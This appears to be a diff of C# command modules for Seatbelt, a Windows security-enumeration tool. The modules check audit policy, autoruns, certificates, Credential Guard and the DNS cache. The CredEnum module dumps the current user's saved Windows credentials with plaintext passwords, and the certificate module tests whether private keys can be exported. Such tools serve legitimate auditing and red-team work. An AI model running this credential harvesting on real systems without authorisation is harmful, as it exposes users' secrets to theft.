foreach (var subDir in Directory.GetDirectories(path))
|
||||||
|
{
|
||||||
|
queue.Enqueue(subDir);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
catch (Exception)
|
||||||
|
{
|
||||||
|
// Eat it
|
||||||
|
}
|
||||||
|
string[]? files = null;
|
||||||
|
try
|
||||||
|
{
|
||||||
|
files = Directory.GetFiles(path);
|
||||||
|
}
|
||||||
|
catch (Exception)
|
||||||
|
{
|
||||||
|
// Eat it
|
||||||
|
}
|
||||||
|
|
||||||
|
if(files == null)
|
||||||
|
continue;
|
||||||
|
;
|
||||||
|
foreach (var f in files)
|
||||||
|
{
|
||||||
|
yield return f;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
internal class AuditPolicyGPO : CommandDTOBase
|
||||||
|
{
|
||||||
|
public AuditPolicyGPO(string path, string domain, string gpo, string type, List<AuditEntry> settings)
|
||||||
|
{
|
||||||
|
Path = path;
|
||||||
|
Domain = domain;
|
||||||
|
GPO = gpo;
|
||||||
|
Type = type;
|
||||||
|
Settings = settings;
|
||||||
|
}
|
||||||
|
public string Path { get; }
|
||||||
|
public string Domain { get; }
|
||||||
|
public string GPO { get; }
|
||||||
|
public string Type { get; }
|
||||||
|
public List<AuditEntry> Settings { get; }
|
||||||
|
}
|
||||||
|
|
||||||
|
[CommandOutputType(typeof(AuditPolicyGPO))]
|
||||||
|
internal class AuditPolicyormatter : TextFormatterBase
|
||||||
|
{
|
||||||
|
public AuditPolicyormatter(ITextWriter writer) : base(writer)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
public override void FormatResult(CommandBase? command, CommandDTOBase result, bool filterResults)
|
||||||
|
{
|
||||||
|
var dto = (AuditPolicyGPO)result;
|
||||||
|
|
||||||
|
//WriteLine(" {0,-40} : {1}", "File", dto.Path);
|
||||||
|
WriteLine(" {0,-40} : {1}", "Domain", dto.Domain);
|
||||||
|
WriteLine(" {0,-40} : {1}", "GPO", dto.GPO);
|
||||||
|
WriteLine(" {0,-40} : {1}", "Type", dto.Type);
|
||||||
|
foreach (var entry in dto.Settings)
|
||||||
|
{
|
||||||
|
WriteLine(" {0,40} : {1}", entry.Subcategory, entry.AuditType);
|
||||||
|
}
|
||||||
|
WriteLine();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,78 @@
|
||||||
|
using Microsoft.Win32;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using Seatbelt.Output.TextWriters;
|
||||||
|
using Seatbelt.Output.Formatters;
|
||||||
|
|
||||||
|
|
||||||
|
namespace Seatbelt.Commands.Windows
|
||||||
|
{
|
||||||
|
// TODO: If elevated, pull with Windows Audit Policy/Advanced Audit policy
|
||||||
|
internal class AuditPolicyRegistryCommand : CommandBase
|
||||||
|
{
|
||||||
|
public override string Command => "AuditPolicyRegistry";
|
||||||
|
public override string Description => "Audit settings via the registry";
|
||||||
|
public override CommandGroup[] Group => new[] {CommandGroup.System, CommandGroup.Remote};
|
||||||
|
public override bool SupportRemote => true;
|
||||||
|
public Runtime ThisRunTime;
|
||||||
|
|
||||||
|
public AuditPolicyRegistryCommand(Runtime runtime) : base(runtime)
|
||||||
|
{
|
||||||
|
ThisRunTime = runtime;
|
||||||
|
}
|
||||||
|
|
||||||
|
public override IEnumerable<CommandDTOBase?> Execute(string[] args)
|
||||||
|
{
|
||||||
|
// TODO: Expand the audit policy enumeration
|
||||||
|
var settings = ThisRunTime.GetValues(RegistryHive.LocalMachine, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\Audit");
|
||||||
|
|
||||||
|
if (settings == null)
|
||||||
|
yield break;
|
||||||
|
|
||||||
|
foreach (var kvp in settings)
|
||||||
|
{
|
||||||
|
if (kvp.Value.GetType().IsArray && (kvp.Value.GetType().GetElementType()?.ToString() == "System.String"))
|
||||||
|
{
|
||||||
|
var result = string.Join(",", (string[])kvp.Value);
|
||||||
|
yield return new AuditPolicyDTO(
|
||||||
|
kvp.Key,
|
||||||
|
result
|
||||||
|
);
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
yield return new AuditPolicyDTO(
|
||||||
|
kvp.Key,
|
||||||
|
$"{kvp.Value}"
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
internal class AuditPolicyDTO : CommandDTOBase
|
||||||
|
{
|
||||||
|
public AuditPolicyDTO(string key, string value)
|
||||||
|
{
|
||||||
|
Key = key;
|
||||||
|
Value = value;
|
||||||
|
}
|
||||||
|
public string Key { get; }
|
||||||
|
public string Value { get; }
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
[CommandOutputType(typeof(AuditPolicyDTO))]
|
||||||
|
internal class AuditPolicyTextFormatter : TextFormatterBase
|
||||||
|
{
|
||||||
|
public AuditPolicyTextFormatter(ITextWriter writer) : base(writer)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
public override void FormatResult(CommandBase? command, CommandDTOBase result, bool filterResults)
|
||||||
|
{
|
||||||
|
var dto = (AuditPolicyDTO)result;
|
||||||
|
|
||||||
|
WriteLine(" {0,-30} : {1}", dto.Key, dto.Value);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,85 @@
|
||||||
|
#nullable disable
|
||||||
|
using Microsoft.Win32;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using Seatbelt.Output.TextWriters;
|
||||||
|
using Seatbelt.Output.Formatters;
|
||||||
|
|
||||||
|
|
||||||
|
namespace Seatbelt.Commands.Windows
|
||||||
|
{
|
||||||
|
internal class AutoRunsCommand : CommandBase
|
||||||
|
{
|
||||||
|
public override string Command => "AutoRuns";
|
||||||
|
public override string Description => "Auto run executables/scripts/programs";
|
||||||
|
public override CommandGroup[] Group => new[] {CommandGroup.System};
|
||||||
|
public override bool SupportRemote => true;
|
||||||
|
public Runtime ThisRunTime;
|
||||||
|
|
||||||
|
public AutoRunsCommand(Runtime runtime) : base(runtime)
|
||||||
|
{
|
||||||
|
ThisRunTime = runtime;
|
||||||
|
}
|
||||||
|
|
||||||
|
public override IEnumerable<CommandDTOBase?> Execute(string[] args)
|
||||||
|
{
|
||||||
|
//WriteHost("Registry Autoruns");
|
||||||
|
|
||||||
|
string[] autorunLocations = new string[] {
|
||||||
|
"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",
|
||||||
|
"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce",
|
||||||
|
"SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Run",
|
||||||
|
"SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\RunOnce",
|
||||||
|
"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunService",
|
||||||
|
"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnceService",
|
||||||
|
"SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\RunService",
|
||||||
|
"SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\RunOnceService"
|
||||||
|
};
|
||||||
|
|
||||||
|
foreach (string autorunLocation in autorunLocations)
|
||||||
|
{
|
||||||
|
var settings = ThisRunTime.GetValues(RegistryHive.LocalMachine, autorunLocation);
|
||||||
|
|
||||||
|
if ((settings != null) && (settings.Count != 0))
|
||||||
|
{
|
||||||
|
AutoRunDTO entry = new AutoRunDTO();
|
||||||
|
|
||||||
|
entry.Key = System.String.Format("HKLM:\\{0}", autorunLocation);
|
||||||
|
entry.Entries = new List<string>();
|
||||||
|
|
||||||
|
foreach (KeyValuePair<string, object> kvp in settings)
|
||||||
|
{
|
||||||
|
entry.Entries.Add(kvp.Value.ToString());
|
||||||
|
}
|
||||||
|
|
||||||
|
yield return entry;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
internal class AutoRunDTO : CommandDTOBase
|
||||||
|
{
|
||||||
|
public string Key { get; set; }
|
||||||
|
public List<string> Entries { get; set; }
|
||||||
|
}
|
||||||
|
|
||||||
|
[CommandOutputType(typeof(AutoRunDTO))]
|
||||||
|
internal class AutoRunTextFormatter : TextFormatterBase
|
||||||
|
{
|
||||||
|
public AutoRunTextFormatter(ITextWriter writer) : base(writer)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
public override void FormatResult(CommandBase? command, CommandDTOBase result, bool filterResults)
|
||||||
|
{
|
||||||
|
var dto = (AutoRunDTO)result;
|
||||||
|
|
||||||
|
WriteLine("\n {0} :", dto.Key);
|
||||||
|
foreach (string entry in dto.Entries)
|
||||||
|
{
|
||||||
|
WriteLine(" {0}", entry);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
#nullable enable
|
|
@ -0,0 +1,70 @@
|
||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.Security.Cryptography.X509Certificates;
|
||||||
|
using Seatbelt.Output.Formatters;
|
||||||
|
using Seatbelt.Output.TextWriters;
|
||||||
|
|
||||||
|
namespace Seatbelt.Commands
|
||||||
|
{
|
||||||
|
internal class CertificateThumbprintCommand : CommandBase
|
||||||
|
{
|
||||||
|
public override string Command => "CertificateThumbprints";
|
||||||
|
public override string Description => "Finds thumbprints for all certificate store certs on the systen";
|
||||||
|
public override CommandGroup[] Group => new[] { CommandGroup.User, CommandGroup.System };
|
||||||
|
public override bool SupportRemote => false;
|
||||||
|
|
||||||
|
public CertificateThumbprintCommand(Runtime runtime) : base(runtime)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
public override IEnumerable<CommandDTOBase?> Execute(string[] args)
|
||||||
|
{
|
||||||
|
foreach (var storeName in new Enum[] { StoreName.Root, StoreName.CertificateAuthority, StoreName.AuthRoot, StoreName.TrustedPeople, StoreName.TrustedPublisher })
|
||||||
|
{
|
||||||
|
foreach (var storeLocation in new Enum[] { StoreLocation.CurrentUser, StoreLocation.LocalMachine })
|
||||||
|
{
|
||||||
|
var store = new X509Store((StoreName)storeName, (StoreLocation)storeLocation);
|
||||||
|
store.Open(OpenFlags.ReadOnly);
|
||||||
|
|
||||||
|
foreach (var certificate in store.Certificates)
|
||||||
|
{
|
||||||
|
if (!Runtime.FilterResults || (Runtime.FilterResults && (DateTime.Compare(certificate.NotAfter, DateTime.Now) >= 0)))
|
||||||
|
{
|
||||||
|
yield return new CertificateThumbprintDTO()
|
||||||
|
{
|
||||||
|
StoreName = $"{storeName}",
|
||||||
|
StoreLocation = $"{storeLocation}",
|
||||||
|
SimpleName = certificate.GetNameInfo(X509NameType.SimpleName, false),
|
||||||
|
Thumbprint = certificate.Thumbprint,
|
||||||
|
ExpiryDate = certificate.NotAfter,
|
||||||
|
};
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
internal class CertificateThumbprintDTO : CommandDTOBase
|
||||||
|
{
|
||||||
|
public string? StoreName { get; set; }
|
||||||
|
public string? StoreLocation { get; set; }
|
||||||
|
public string? SimpleName { get; set; }
|
||||||
|
public string? Thumbprint { get; set; }
|
||||||
|
public DateTime? ExpiryDate { get; set; }
|
||||||
|
}
|
||||||
|
|
||||||
|
[CommandOutputType(typeof(CertificateThumbprintDTO))]
|
||||||
|
internal class CertificateThumbprintFormatter : TextFormatterBase
|
||||||
|
{
|
||||||
|
public CertificateThumbprintFormatter(ITextWriter writer) : base(writer)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
public override void FormatResult(CommandBase? command, CommandDTOBase result, bool filterResults)
|
||||||
|
{
|
||||||
|
var dto = (CertificateThumbprintDTO)result;
|
||||||
|
WriteLine($"{dto.StoreLocation}\\{dto.StoreName} - {dto.Thumbprint} ({dto.SimpleName}) {dto.ExpiryDate}");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,137 @@
|
||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.Security.Cryptography.X509Certificates;
|
||||||
|
using Seatbelt.Output.Formatters;
|
||||||
|
using Seatbelt.Output.TextWriters;
|
||||||
|
|
||||||
|
namespace Seatbelt.Commands
|
||||||
|
{
|
||||||
|
internal class CertificateCommand : CommandBase
|
||||||
|
{
|
||||||
|
public override string Command => "Certificates";
|
||||||
|
public override string Description => "Finds user and machine personal certificate files";
|
||||||
|
public override CommandGroup[] Group => new[] { CommandGroup.User, CommandGroup.System};
|
||||||
|
public override bool SupportRemote => false;
|
||||||
|
|
||||||
|
public CertificateCommand(Runtime runtime) : base(runtime)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
public override IEnumerable<CommandDTOBase?> Execute(string[] args)
|
||||||
|
{
|
||||||
|
foreach (var storeLocation in new Enum[] { StoreLocation.CurrentUser, StoreLocation.LocalMachine })
|
||||||
|
{
|
||||||
|
var store = new X509Store(StoreName.My, (StoreLocation)storeLocation);
|
||||||
|
store.Open(OpenFlags.ReadOnly);
|
||||||
|
|
||||||
|
foreach (var certificate in store.Certificates)
|
||||||
|
{
|
||||||
|
var template = "";
|
||||||
|
var enhancedKeyUsages = new List<string>();
|
||||||
|
bool? keyExportable = false;
|
||||||
|
|
||||||
|
try
|
||||||
|
{
|
||||||
|
certificate.PrivateKey.ToXmlString(true);
|
||||||
|
keyExportable = true;
|
||||||
|
}
|
||||||
|
catch (Exception e)
|
||||||
|
{
|
||||||
|
keyExportable = !e.Message.Contains("not valid for use in specified state");
|
||||||
|
}
|
||||||
|
|
||||||
|
foreach (var ext in certificate.Extensions)
|
||||||
|
{
|
||||||
|
if (ext.Oid.FriendlyName == "Enhanced Key Usage")
|
||||||
|
{
|
||||||
|
var extUsages = ((X509EnhancedKeyUsageExtension)ext).EnhancedKeyUsages;
|
||||||
|
|
||||||
|
if (extUsages.Count == 0)
|
||||||
|
continue;
|
||||||
|
|
||||||
|
foreach (var extUsage in extUsages)
|
||||||
|
{
|
||||||
|
enhancedKeyUsages.Add(extUsage.FriendlyName);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else if (ext.Oid.FriendlyName == "Certificate Template Name" || ext.Oid.FriendlyName == "Certificate Template Information")
|
||||||
|
{
|
||||||
|
template = ext.Format(false);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!Runtime.FilterResults || (Runtime.FilterResults && (DateTime.Compare(certificate.NotAfter, DateTime.Now) >= 0)))
|
||||||
|
{
|
||||||
|
yield return new CertificateDTO()
|
||||||
|
{
|
||||||
|
StoreLocation = $"{storeLocation}",
|
||||||
|
Issuer = certificate.Issuer,
|
||||||
|
Subject = certificate.Subject,
|
||||||
|
ValidDate = certificate.NotBefore,
|
||||||
|
ExpiryDate = certificate.NotAfter,
|
||||||
|
HasPrivateKey = certificate.HasPrivateKey,
|
||||||
|
KeyExportable = keyExportable,
|
||||||
|
Template = template,
|
||||||
|
Thumbprint = certificate.Thumbprint,
|
||||||
|
EnhancedKeyUsages = enhancedKeyUsages
|
||||||
|
};
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
internal class CertificateDTO : CommandDTOBase
|
||||||
|
{
|
||||||
|
public string? StoreLocation { get; set; }
|
||||||
|
public string? Issuer { get; set; }
|
||||||
|
public string? Subject { get; set; }
|
||||||
|
public DateTime? ValidDate { get; set; }
|
||||||
|
public DateTime? ExpiryDate { get; set; }
|
||||||
|
public bool? HasPrivateKey { get; set; }
|
||||||
|
public bool? KeyExportable { get; set; }
|
||||||
|
public string? Thumbprint { get; set; }
|
||||||
|
public string? Template { get; set; }
|
||||||
|
public List<string>? EnhancedKeyUsages { get; set; }
|
||||||
|
}
|
||||||
|
|
||||||
|
[CommandOutputType(typeof(CertificateDTO))]
|
||||||
|
internal class CertificateFormatter : TextFormatterBase
|
||||||
|
{
|
||||||
|
public CertificateFormatter(ITextWriter writer) : base(writer)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
public override void FormatResult(CommandBase? command, CommandDTOBase result, bool filterResults)
|
||||||
|
{
|
||||||
|
var dto = (CertificateDTO)result;
|
||||||
|
|
||||||
|
WriteLine(" StoreLocation : {0}", dto.StoreLocation);
|
||||||
|
WriteLine(" Issuer : {0}", dto.Issuer);
|
||||||
|
WriteLine(" Subject : {0}", dto.Subject);
|
||||||
|
WriteLine(" ValidDate : {0}", dto.ValidDate);
|
||||||
|
WriteLine(" ExpiryDate : {0}", dto.ExpiryDate);
|
||||||
|
WriteLine(" HasPrivateKey : {0}", dto.HasPrivateKey);
|
||||||
|
WriteLine(" KeyExportable : {0}", dto.KeyExportable);
|
||||||
|
WriteLine(" Thumbprint : {0}", dto.Thumbprint);
|
||||||
|
|
||||||
|
if (!string.IsNullOrEmpty(dto.Template))
|
||||||
|
{
|
||||||
|
WriteLine(" Template : {0}", dto.Template);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (dto.EnhancedKeyUsages?.Count > 0)
|
||||||
|
{
|
||||||
|
WriteLine(" EnhancedKeyUsages :");
|
||||||
|
foreach(var eku in dto.EnhancedKeyUsages)
|
||||||
|
{
|
||||||
|
WriteLine(" {0}{1}",
|
||||||
|
eku,
|
||||||
|
eku == "Client Authentication" ? " [!] Certificate is used for client authentication!" : "");
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
|
WriteLine();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,121 @@
|
||||||
|
#nullable disable
|
||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.Runtime.InteropServices;
|
||||||
|
using Seatbelt.Output.TextWriters;
|
||||||
|
using Seatbelt.Output.Formatters;
|
||||||
|
using Seatbelt.Interop;
|
||||||
|
using System.ComponentModel;
|
||||||
|
using System.Text;
|
||||||
|
|
||||||
|
|
||||||
|
// this code was adapted by @djhohnstein from @peewpw's work at
|
||||||
|
// https://github.com/peewpw/Invoke-WCMDump/blob/master/Invoke-WCMDump.ps1
|
||||||
|
// which was originally based on https://github.com/spolnik/Simple.CredentialsManager
|
||||||
|
|
||||||
|
namespace Seatbelt.Commands.Windows
|
||||||
|
{
|
||||||
|
internal class CredEnumCommand : CommandBase
|
||||||
|
{
|
||||||
|
public override string Command => "CredEnum";
|
||||||
|
public override string Description => "Enumerates the current user's saved credentials using CredEnumerate()";
|
||||||
|
public override CommandGroup[] Group => new[] { CommandGroup.User };
|
||||||
|
public override bool SupportRemote => false;
|
||||||
|
|
||||||
|
public CredEnumCommand(Runtime runtime) : base(runtime)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
public override IEnumerable<CommandDTOBase?> Execute(string[] args)
|
||||||
|
{
|
||||||
|
// from https://gist.github.com/meziantou/10311113#file-credentialmanager-cs-L83-L105
|
||||||
|
var ret = Advapi32.CredEnumerate(null, 0, out var count, out var pCredentials);
|
||||||
|
if (!ret)
|
||||||
|
{
|
||||||
|
var lastError = Marshal.GetLastWin32Error();
|
||||||
|
throw new Win32Exception(lastError);
|
||||||
|
}
|
||||||
|
|
||||||
|
for (var n = 0; n < count; n++)
|
||||||
|
{
|
||||||
|
var credentialPtr = Marshal.ReadIntPtr(pCredentials, n * Marshal.SizeOf(typeof(IntPtr)));
|
||||||
|
var credential = (Advapi32.CREDENTIAL)Marshal.PtrToStructure(credentialPtr, typeof(Advapi32.CREDENTIAL));
|
||||||
|
|
||||||
|
string password = null;
|
||||||
|
if (credential.CredentialBlob != IntPtr.Zero)
|
||||||
|
{
|
||||||
|
var passwordBytes = new byte[credential.CredentialBlobSize];
|
||||||
|
Marshal.Copy(credential.CredentialBlob, passwordBytes, 0, credential.CredentialBlobSize);
|
||||||
|
var flags = Advapi32.IsTextUnicodeFlags.IS_TEXT_UNICODE_STATISTICS;
|
||||||
|
|
||||||
|
if (Advapi32.IsTextUnicode(passwordBytes, passwordBytes.Length, ref flags))
|
||||||
|
{
|
||||||
|
password = Encoding.Unicode.GetString(passwordBytes);
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
password = BitConverter.ToString(passwordBytes).Replace("-", " ");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
yield return new CredEnumDTO(
|
||||||
|
credential.TargetName,
|
||||||
|
credential.Comment,
|
||||||
|
credential.UserName,
|
||||||
|
password,
|
||||||
|
credential.Type,
|
||||||
|
credential.Persist,
|
||||||
|
DateTime.FromFileTime(credential.LastWritten)
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
Advapi32.CredFree(pCredentials);
|
||||||
|
}
|
||||||
|
|
||||||
|
internal class CredEnumDTO : CommandDTOBase
|
||||||
|
{
|
||||||
|
public CredEnumDTO(string target, string comment, string username, string password, Advapi32.CredentialType credentialType, Advapi32.PersistenceType persistenceType, DateTime lastWriteTime)
|
||||||
|
{
|
||||||
|
Target = target;
|
||||||
|
Comment = comment;
|
||||||
|
Username = username;
|
||||||
|
Password = password;
|
||||||
|
CredentialType = credentialType;
|
||||||
|
PersistenceType = persistenceType;
|
||||||
|
LastWriteTime = lastWriteTime;
|
||||||
|
}
|
||||||
|
public string Target { get; }
|
||||||
|
public string Comment { get; }
|
||||||
|
public string Username { get; }
|
||||||
|
public string Password { get; }
|
||||||
|
public Advapi32.CredentialType CredentialType { get; }
|
||||||
|
public Advapi32.PersistenceType PersistenceType { get; }
|
||||||
|
public DateTime LastWriteTime { get; }
|
||||||
|
}
|
||||||
|
|
||||||
|
[CommandOutputType(typeof(CredEnumDTO))]
|
||||||
|
internal class WindowsVaultFormatter : TextFormatterBase
|
||||||
|
{
|
||||||
|
public WindowsVaultFormatter(ITextWriter writer) : base(writer)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
public override void FormatResult(CommandBase? command, CommandDTOBase result, bool filterResults)
|
||||||
|
{
|
||||||
|
var dto = (CredEnumDTO)result;
|
||||||
|
|
||||||
|
WriteLine($" Target : {dto.Target}");
|
||||||
|
if (!String.IsNullOrEmpty(dto.Comment))
|
||||||
|
{
|
||||||
|
WriteLine($" Comment : {dto.Comment}");
|
||||||
|
}
|
||||||
|
WriteLine($" UserName : {dto.Username}");
|
||||||
|
WriteLine($" Password : {dto.Password}");
|
||||||
|
WriteLine($" CredentialType : {dto.CredentialType}");
|
||||||
|
WriteLine($" PersistenceType : {dto.PersistenceType}");
|
||||||
|
WriteLine($" LastWriteTime : {dto.LastWriteTime}\r\n");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
#nullable enable
|
|
@ -0,0 +1,118 @@
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.Linq;
|
||||||
|
using Seatbelt.Output.Formatters;
|
||||||
|
using Seatbelt.Output.TextWriters;
|
||||||
|
using System.Management;
|
||||||
|
using System;
|
||||||
|
|
||||||
|
namespace Seatbelt.Commands
|
||||||
|
{
|
||||||
|
enum VBS
|
||||||
|
{
|
||||||
|
NOT_ENABLED = 0,
|
||||||
|
ENABLED_NOT_RUNNING = 1,
|
||||||
|
ENABLED_AND_RUNNING = 2
|
||||||
|
}
|
||||||
|
|
||||||
|
internal class CredentialGuardCommand : CommandBase
|
||||||
|
{
|
||||||
|
public override string Command => "CredGuard";
|
||||||
|
public override string Description => "CredentialGuard configuration";
|
||||||
|
public override CommandGroup[] Group => new[] {CommandGroup.System};
|
||||||
|
public override bool SupportRemote => true;
|
||||||
|
public Runtime ThisRunTime;
|
||||||
|
|
||||||
|
|
||||||
|
public CredentialGuardCommand(Runtime runtime) : base(runtime)
|
||||||
|
{
|
||||||
|
ThisRunTime = runtime;
|
||||||
|
}
|
||||||
|
|
||||||
|
public override IEnumerable<CommandDTOBase?> Execute(string[] args)
|
||||||
|
{
|
||||||
|
// adapted from @chrismaddalena's PR (https://github.com/GhostPack/Seatbelt/pull/22/files)
|
||||||
|
|
||||||
|
// settings reference - https://www.tenforums.com/tutorials/68926-verify-if-device-guard-enabled-disabled-windows-10-a.html
|
||||||
|
|
||||||
|
ManagementObjectCollection? data = null;
|
||||||
|
try
|
||||||
|
{
|
||||||
|
var wmiData = ThisRunTime.GetManagementObjectSearcher(@"root\Microsoft\Windows\DeviceGuard", "SELECT * FROM Win32_DeviceGuard");
|
||||||
|
data = wmiData.Get();
|
||||||
|
}
|
||||||
|
catch (ManagementException ex) when (ex.ErrorCode == ManagementStatus.InvalidNamespace)
|
||||||
|
{
|
||||||
|
WriteError(string.Format(" [X] 'Win32_DeviceGuard' WMI class unavailable", ex.Message));
|
||||||
|
}
|
||||||
|
catch (Exception ex)
|
||||||
|
{
|
||||||
|
WriteError(ex.ToString());
|
||||||
|
}
|
||||||
|
|
||||||
|
if (data == null)
|
||||||
|
{
|
||||||
|
yield break;
|
||||||
|
}
|
||||||
|
|
||||||
|
foreach (var result in data)
|
||||||
|
{
|
||||||
|
// reference:
|
||||||
|
// https://github.com/GhostPack/Seatbelt/blob/f47c342150e70e96669017bbec258e27227ba1ef/Seatbelt/Program.cs#L1754-L1766
|
||||||
|
|
||||||
|
var configCheck = (int[])result.GetPropertyValue("SecurityServicesConfigured");
|
||||||
|
var serviceCheck = (int[])result.GetPropertyValue("SecurityServicesRunning");
|
||||||
|
|
||||||
|
var vbsSetting = (VBS)0;
|
||||||
|
var configured = false;
|
||||||
|
var running = false;
|
||||||
|
|
||||||
|
uint? vbs = (uint)result.GetPropertyValue("VirtualizationBasedSecurityStatus");
|
||||||
|
if(vbs != null)
|
||||||
|
{
|
||||||
|
vbsSetting = (VBS)vbs;
|
||||||
|
}
|
||||||
|
|
||||||
|
if(configCheck.Contains(1))
|
||||||
|
{
|
||||||
|
configured = true;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (serviceCheck.Contains(1))
|
||||||
|
{
|
||||||
|
running = true;
|
||||||
|
}
|
||||||
|
|
||||||
|
yield return new CredGuardDTO()
|
||||||
|
{
|
||||||
|
VirtualizationBasedSecurityStatus = vbsSetting,
|
||||||
|
Configured = configured,
|
||||||
|
Running = running
|
||||||
|
};
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
class CredGuardDTO : CommandDTOBase
|
||||||
|
{
|
||||||
|
public VBS VirtualizationBasedSecurityStatus { get; set; }
|
||||||
|
|
||||||
|
public bool Configured { get; set; }
|
||||||
|
|
||||||
|
public bool Running { get; set; }
|
||||||
|
}
|
||||||
|
|
||||||
|
[CommandOutputType(typeof(CredGuardDTO))]
|
||||||
|
internal class CredentialGuardFormatter : TextFormatterBase
|
||||||
|
{
|
||||||
|
public CredentialGuardFormatter(ITextWriter writer) : base(writer)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
public override void FormatResult(CommandBase? command, CommandDTOBase result, bool filterResults)
|
||||||
|
{
|
||||||
|
var dto = (CredGuardDTO)result;
|
||||||
|
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,71 @@
|
||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.Management;
|
||||||
|
|
||||||
|
|
||||||
|
namespace Seatbelt.Commands.Windows
|
||||||
|
{
|
||||||
|
internal class DNSCacheCommand : CommandBase
|
||||||
|
{
|
||||||
|
public override string Command => "DNSCache";
|
||||||
|
public override string Description => "DNS cache entries (via WMI)";
|
||||||
|
public override CommandGroup[] Group => new[] {CommandGroup.System, CommandGroup.Remote};
|
||||||
|
public override bool SupportRemote => true;
|
||||||
|
public Runtime ThisRunTime;
|
||||||
|
|
||||||
|
public DNSCacheCommand(Runtime runtime) : base(runtime)
|
||||||
|
{
|
||||||
|
ThisRunTime = runtime;
|
||||||
|
}
|
||||||
|
|
||||||
|
public override IEnumerable<CommandDTOBase?> Execute(string[] args)
|
||||||
|
{
|
||||||
|
ManagementObjectCollection? data = null;
|
||||||
|
|
||||||
|
// lists the local DNS cache via WMI (MSFT_DNSClientCache class)
|
||||||
|
try
|
||||||
|
{
|
||||||
|
var wmiData = ThisRunTime.GetManagementObjectSearcher(@"root\standardcimv2", "SELECT * FROM MSFT_DNSClientCache");
|
||||||
|
data = wmiData.Get();
|
||||||
|
}
|
||||||
|
catch (ManagementException ex) when (ex.ErrorCode == ManagementStatus.InvalidNamespace)
|
||||||
|
{
|
||||||
|
WriteError(string.Format(" [X] 'MSFT_DNSClientCache' WMI class unavailable (minimum supported versions of Windows: 8/2012)", ex.Message));
|
||||||
|
}
|
||||||
|
catch (Exception ex)
|
||||||
|
{
|
||||||
|
WriteError(ex.ToString());
|
||||||
|
}
|
||||||
|
|
||||||
|
if (data == null)
|
||||||
|
{
|
||||||
|
yield break;
|
||||||
|
}
|
||||||
|
|
||||||
|
foreach (var o in data)
|
||||||
|
{
|
||||||
|
var result = (ManagementObject) o;
|
||||||
|
yield return new DNSCacheDTO(
|
||||||
|
result["Entry"],
|
||||||
|
result["Name"],
|
||||||
|
result["Data"]
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
data.Dispose();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
internal class DNSCacheDTO : CommandDTOBase
|
||||||
|
{
|
||||||
|
public DNSCacheDTO(object entry, object name, object data)
|
||||||
|
{
|
||||||
|
Entry = entry;
|
||||||
|
Name = name;
|
||||||
|
Data = data;
|
||||||
|
}
|
||||||
|
public object Entry { get; set; }
|
||||||
|
public object Name { get; set; }
|
||||||
|
public object Data { get; set; }
|
||||||
|
}
|
||||||
